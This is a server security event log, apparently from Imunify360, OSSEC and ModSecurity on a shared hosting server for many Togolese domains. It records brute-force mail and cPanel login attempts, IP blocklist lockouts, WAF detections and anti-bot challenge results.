Jun 15 21:31:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:31:47 dovecot_login authenticator failed for H=(ZtKjtAWDt) [141.98.10.175]:56579: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:32:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:32:40 dovecot_login authenticator failed for H=(c8Ysj5lRlb) [141.98.10.175]:58993: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.245
country_id: 1643084
description:
[2026-06-15 21:33:35 +0000] info [cpaneld] 185.213.83.245 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:33:31 dovecot_login authenticator failed for H=(my4XbJrJG) [141.98.10.175]:64267: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.141.11.13
country_id: 3686110
description:
181.141.11.13 - - [15/Jun/2026:21:33:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158599&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781559199 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.1807.1108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.141.11.13


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:33:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:35:13 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:34:21 dovecot_login authenticator failed for H=(pJT3KzEhIK) [141.98.10.175]:49614: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:35:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:34:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:35:39 dovecot_login authenticator failed for H=(uJFEQV) [141.98.10.175]:56632: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:35:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: www.owa.antasertogo.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:35:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 21:36:22 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:11998: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:36:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:36:33 dovecot_login authenticator failed for H=(mxWQT0p) [141.98.10.175]:49989: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.25.34
country_id: 2363686
description:
[2026-06-15 21:38:19 +0000] info [webmaild] 196.169.25.34 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 18.215.99.138
country_id: 6252001
domain: www.afrikimpact-media.tg.lct-togo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:37:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:37:28 dovecot_login authenticator failed for H=(YEgIMBbBP4) [141.98.10.175]:65386: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:38:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934789&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781559505 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.25.34
country_id: 2363686
description:
[2026-06-15 21:38:37 +0000] info [webmaild] 196.169.25.34 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:38:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:38:44 dovecot_login authenticator failed for H=(SkC9JeS5) [141.98.10.175]:61366: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:39:36 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.25.34
country_id: 2363686
description:
[2026-06-15 21:39:36 +0000] info [webmaild] 196.169.25.34 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:39:38 dovecot_login authenticator failed for H=(gkqy0dcHP) [141.98.10.175]:62179: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.14
country_id: 2635167
description:
[2026-06-15 21:40:33 +0000] info [cpaneld] 5.230.133.14 NEW ifxmoxbf:iH_iQhtthQR6id7G address=5.230.133.14,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.255.113.177
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-40.5.255.113.177||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:40:37 dovecot_login authenticator failed for H=(mfKnKrHkdK) [141.98.10.175]:54901: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:40:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.217.253.113
country_id: 1880251
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:217.217.253.113||TA:217.217.253.113||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:41:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:41:28 dovecot_login authenticator failed for H=(fS4Lox) [141.98.10.175]:51282: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:42:21 dovecot_login authenticator failed for H=(HJKoVc) [141.98.10.175]:62440: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:42:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:42:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:43:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:43:42 dovecot_login authenticator failed for H=(HINx9TSmE) [141.98.10.175]:52008: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:44:35 dovecot_login authenticator failed for H=(lu5YML) [141.98.10.175]:57290: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:44:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:45:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 128.254.188.120
country_id: 3865483
description:
128.254.188.120 - - [15/Jun/2026:21:46:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593428&pdata=https%253A%252F%252Fwebmail.test.free.netmaster.tg%252F%253Flocale%253Dcs&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781559972 HTTP/2.0" 302 0 webmail.test.free.netmaster.tg "https://webmail.test.free.netmaster.tg/?locale=cs" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:128.254.188.120


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:45:33 dovecot_login authenticator failed for H=(hbVGto) [141.98.10.175]:61677: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.42.1.81
country_id: 1149361
domain: group-gci.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:43999.group-gci.com||ServerName:group-gci.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b797aebff2dc327a64e36ff22953cd5a411dbb9e||Title:0xe7c9fb63||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:46:24 dovecot_login authenticator failed for H=(FIAM6jf1) [141.98.10.175]:57763: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.118.184.198
country_id: 2017370
description:
2026-06-15 21:47:10 H=([217.118.184.198]) [217.118.184.198]:5437 F=<John@4452.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:46:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:47:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:47:43 dovecot_login authenticator failed for H=(OYwkimhf) [141.98.10.175]:64185: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.24.107.125
country_id: 2017370
description:
[2026-06-15 21:48:00 +0000] info [cpaneld] 95.24.107.125 - ciieeinternational "GET /login/?login_only=1&user=ciieeinternational&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternational (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.32.208.214
country_id: 2017370
description:
[2026-06-15 21:48:02 +0000] info [cpaneld] 212.32.208.214 - ciieeinternationalorg "GET /login/?login_only=1&user=ciieeinternationalorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationalorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.113.216.95
country_id: 1562822
description:
[2026-06-15 21:47:58 +0000] info [cpaneld] 42.113.216.95 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.185.65.114
country_id: 3625428
description:
[2026-06-15 21:48:11 +0000] info [cpaneld] 138.185.65.114 - ciieeinternation "GET /login/?login_only=1&user=ciieeinternation&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternation (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.84.244.4
country_id: 3469034
description:
[2026-06-15 21:48:19 +0000] info [cpaneld] 187.84.244.4 - ciieeinternati "GET /login/?login_only=1&user=ciieeinternati&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternati (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.209.138.131
country_id: 1522867
description:
[2026-06-15 21:48:14 +0000] info [cpaneld] 67.209.138.131 - ciieeinternatio "GET /login/?login_only=1&user=ciieeinternatio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternatio (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.232
country_id: 6252001
description:
[2026-06-15 21:48:43 +0000] info [cpaneld] 173.211.89.232 NEW wcnyaruu:EKVthWmhKjOfKXEv address=173.211.89.232,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.182.88.219
country_id: 3865483
description:
[2026-06-15 21:48:50 +0000] info [cpaneld] 186.182.88.219 - ciieei "GET /login/?login_only=1&user=ciieei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieei (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.118.184.198
country_id: 2017370
description:
2026-06-15 21:49:17 H=([217.118.184.198]) [217.118.184.198]:5437 F=<John@4452.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.72.78.167
country_id: 3469034
description:
[2026-06-15 21:48:26 +0000] info [cpaneld] 187.72.78.167 - ciieeinterna "GET /login/?login_only=1&user=ciieeinterna&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinterna (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.86.110.131
country_id: 3686110
description:
[2026-06-15 21:48:52 +0000] info [cpaneld] 186.86.110.131 - ciiee "GET /login/?login_only=1&user=ciiee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciiee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.37.162.104
country_id: 286963
description:
[2026-06-15 21:48:31 +0000] info [cpaneld] 5.37.162.104 - ciieeintern "GET /login/?login_only=1&user=ciieeintern&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeintern (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.83.104.44
country_id: 2245662
description:
[2026-06-15 21:48:33 +0000] info [cpaneld] 41.83.104.44 - ciieeinter "GET /login/?login_only=1&user=ciieeinter&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinter (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.37.210.5
country_id: 3469034
description:
[2026-06-15 21:48:45 +0000] info [cpaneld] 191.37.210.5 - ciieein "GET /login/?login_only=1&user=ciieein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieein (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.120
country_id: 1880251
description:
47.128.121.120 - - [15/Jun/2026:21:48:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051162&pdata=https%253A%252F%252Ftogomedia24.tg%252F2020%252F06%252F10%252Ftogo-reprise-sous-conditions-du-transport-routier-interurbain%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781560129 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2020/06/10/togo-reprise-sous-conditions-du-transport-routier-interurbain/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.120


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.73.22.125
country_id: 2017370
description:
[2026-06-15 21:49:02 +0000] info [cpaneld] 95.73.22.125 - ci "GET /login/?login_only=1&user=ci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.98.34.174
country_id: 2542007
description:
[2026-06-15 21:48:39 +0000] info [cpaneld] 102.98.34.174 - ciieeint "GET /login/?login_only=1&user=ciieeint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeint (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.29.180.94
country_id: 3686110
description:
[2026-06-15 21:48:57 +0000] info [cpaneld] 186.29.180.94 - ciie "GET /login/?login_only=1&user=ciie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciie (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:48:35 dovecot_login authenticator failed for H=(HEpH4G) [141.98.10.175]:54903: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.117.174.81
country_id: 2542007
description:
[2026-06-15 21:48:37 +0000] info [cpaneld] 196.117.174.81 - ciieeinte "GET /login/?login_only=1&user=ciieeinte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.181.60.93
country_id: 2635167
description:
[2026-06-15 21:48:22 +0000] info [cpaneld] 109.181.60.93 - ciieeinternat "GET /login/?login_only=1&user=ciieeinternat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternat (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:48:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.160.45.46
country_id: 2921044
description:
[2026-06-15 21:50:07 +0000] info [cpaneld] 84.160.45.46 - soc "GET /login/?login_only=1&user=soc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soc (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.118.184.198
country_id: 2017370
description:
2026-06-15 21:50:15 H=([217.118.184.198]) [217.118.184.198]:5397 F=<John@4452.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:49:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 21:49:26 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:11675: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.72.163.55
country_id: 290557
description:
[2026-06-15 21:49:49 +0000] info [cpaneld] 91.72.163.55 - sococim "GET /login/?login_only=1&user=sococim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sococim (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.69.183.23
country_id: 290291
description:
[2026-06-15 21:50:05 +0000] info [cpaneld] 77.69.183.23 - soco "GET /login/?login_only=1&user=soco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soco (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:49:27 dovecot_login authenticator failed for H=(TunNRo) [141.98.10.175]:62128: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.117.42.154
country_id: 2542007
description:
[2026-06-15 21:50:09 +0000] info [cpaneld] 196.117.42.154 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.44.170.122
country_id: 3865483
description:
[2026-06-15 21:50:01 +0000] info [cpaneld] 181.44.170.122 - sococ "GET /login/?login_only=1&user=sococ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sococ (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.5.32.151
country_id: 3469034
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/assemblee-generale-ordinaire-et-budgetaire-du-cat-04-mars-2025 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:50:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:50:33 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:50:53 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:50:45 dovecot_login authenticator failed for H=(5lZhgl) [141.98.10.175]:49374: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.222.128.55
country_id: 241170
domain: www.lasnb.snb.tg
description:
